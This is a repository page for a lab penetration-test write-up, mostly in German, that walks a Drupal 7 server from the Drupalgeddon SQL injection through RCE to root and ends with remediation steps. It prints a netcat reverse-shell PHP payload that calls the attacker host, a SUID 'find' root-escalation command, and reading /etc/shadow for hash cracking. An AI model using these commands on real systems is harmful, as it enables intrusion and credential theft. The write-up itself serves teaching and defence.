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Audit-BlackBox-Web-to-Root — Audit de sécurité Black Box d'un serveur Drupal 7. Démonstration d'une Kill Chain complète : Injection SQL (CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Escalade vers Root (SUID). Ce dépôt contient le rapport technique détaillé, les preuves d'exploitation (PoC) et les mesures de remédiation pour sécuriser l'infrastructure. | Kitploit
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Audit-BlackBox-Web-to-Root

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vor 7 MonatenNoch nicht geprüft

Über

Audit de sécurité Black Box d'un serveur Drupal 7. Démonstration d'une Kill Chain complète : Injection SQL (CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Escalade vers Root (SUID). Ce dépôt contient le rapport technique détaillé, les preuves d'exploitation (PoC) et les mesures de remédiation pour sécuriser l'infrastructure.

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Pentest Lab : Web- und System-Ausnutzungskette (Drupal to Root)

Haftungsausschluss

Dieses Projekt wurde in einer kontrollierten und isolierten Laborumgebung zu Bildungs- und akademischen Zwecken durchgeführt. Es wurde keine reale Infrastruktur angegriffen. Ziel ist es, Systeme zu sichern, indem man die Angriffsmechanismen versteht.


Arbeitsumgebung und Ziele

Das Szenario

Das Ziel dieses Projekts ist die Durchführung eines Black-Box-Audits. Dies bedeutet, dass die Analyse ohne Vorkenntnisse über das Ziel beginnt: Es wurden keine Anmeldeinformationen, keine technische Dokumentation und kein Quellcode bereitgestellt.

Die Laborarchitektur

Die Infrastruktur wurde virtuell unter VMware in einem isolierten privaten Netzwerk (Host-Only) bereitgestellt, um jede Interaktion mit der Außenwelt zu vermeiden.

  • Angreifermaschine (Kali Linux) : 192.168.78.131
    • Werkzeuge: Nmap, Python, Netcat, John the Ripper.
  • Zielmaschine (Opfer) : 192.168.78.132
    • Betriebssystem: Linux (Debian).
    • Anfangszustand: Unbekannt.

Phase 1: Erkundung und Aufklärung

Der erste Schritt bestand darin, die Angriffsfläche der Zielmaschine mit einem Portscan zu kartieren.

Ausgeführter Befehl: nmap -sV 192.168.78.132

Nmap Scan

Identifizierte Dienste:

  • Port 22 (TCP): SSH (OpenSSH 6.0p1).
  • Port 80 (TCP): HTTP-Server (Apache 2.2.22).
  • Port 111 (TCP): rpcbind.

Die Analyse des Webdienstes (Port 80) und der Datei robots.txt ergab das Vorhandensein eines CMS Drupal. Die Inspektion des Quellcodes ermöglichte die Identifizierung einer veralteten Version: Drupal 7.x.


Schwachstellenanalyse

Die Ergebnisse der Erkundungsphase zeigten eine kritische Angriffsfläche: ein nicht gewartetes CMS Drupal 7. Diese Version ist historisch dafür bekannt, anfällig für schwerwiegende Sicherheitslücken zu sein (insbesondere „Drupalgeddon").

Angesichts dieser Feststellung konzentrierte sich der Audit auf eine gezielte Suche nach öffentlichen Schwachstellen (CVE). Diese Aufzählung bestätigte die Existenz einer vollständigen Ausnutzungskette, die es ermöglicht, von einem einfachen Web-Besucher zu einem Systemadministrator „Root" zu gelangen.

Identifizierte Angriffsvektoren:

  1. Web: SQL-Injection (CVE-2014-3704).
  2. Anwendung: Fehlkonfiguration des Moduls „PHP Filter".
  3. System: Gefährliche SUID-Berechtigungen auf System-Binärdateien.

Ausnutzung (Kill Chain)

Schritt 1: Erster Einbruch (SQL-Injection)

Ausnutzung der Schwachstelle CVE-2014-3704 (Drupalgeddon). Diese Sicherheitslücke in der Datenbank-API von Drupal ermöglicht das Injizieren von SQL-Befehlen ohne Authentifizierung.

  • Aktion: Einfügen eines neuen Benutzers in die Tabelle users mit Administratorrechten.
  • Ergebnis: Zugriff auf das Administrationspanel des CMS.

Exploit SQLi

Python-Skript herunterladen

Schritt 2: Codeausführung (RCE & Reverse Shell)

Sobald man als Administrator angemeldet ist, wird das native Modul PHP Filter verwendet. Dieses Modul, wenn falsch konfiguriert, ermöglicht die Ausführung beliebigen PHP-Codes in den Seiten der Website.

  • Payload: <?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>
  • Ergebnis: Erlangen einer Remote-Shell auf der Kali-Maschine (Benutzer www-data).

Reverse Shell

Schritt 3: Privilegieneskalation (zu Root)

Analyse der Dateien mit SUID-Berechtigung (Set User ID). Entdeckung einer kritischen Konfiguration beim Befehl find.

  • Befehl zur Eskalation: find . -exec '/bin/sh' \;
  • Ergebnis: Das Binärprogramm find wird als root ausgeführt und startet eine Shell mit Root (uid=0)-Privilegien.

Schritt 4: Post-Exploitation

Sobald der Root-Zugriff erlangt wurde, wird die sensible Datei /etc/shadow gelesen, um die Hashes der Benutzerpasswörter zu exfiltrieren.

  • Aktion: Verwendung von John the Ripper zum Knacken der SHA-512-Hashes mittels Wörterbuchangriff.
  • Ergebnis: Wiederherstellung des Root-/Benutzerpassworts (geringe Komplexität), was eine Persistenz auf dem System ermöglicht.

Reverse Shell

Zusammenfassung

Der Audit ergab ein KRITISCHES Risikoniveau. Die Kombination eines veralteten CMS und einer Nachlässigkeit in der Systemkonfiguration (SUID) ermöglicht eine vollständige Kompromittierung des Servers.

Auswirkungen auf das Unternehmen:

  • Vertraulichkeit: Mögliche Exfiltration der Kundendatenbank und Systemdateien (/etc/shadow).
  • Integrität: Vollständige Änderung oder Löschung der Website-Daten.
  • Verfügbarkeit: Risiko von Sabotage oder Dienstunterbrechung.

Prioritärer Aktionsplan:

  1. Update: Migration von Drupal auf die neueste stabile Version, um die SQLi-Schwachstelle zu beheben.
  2. Systemhärtung: Entfernen des SUID-Bits von nicht wesentlichen ausführbaren Dateien (chmod u-s /usr/bin/find).
  3. Least Privilege: Deaktivieren des Moduls PHP Filter, falls es nicht strikt notwendig ist.

Dokumentation

Für vollständige technische Details, die verwendeten Skripte und die eingehende Analyse konsultieren Sie den vollständigen Bericht: Auditbericht lesen (PDF)

Autor

Fabien MOINE

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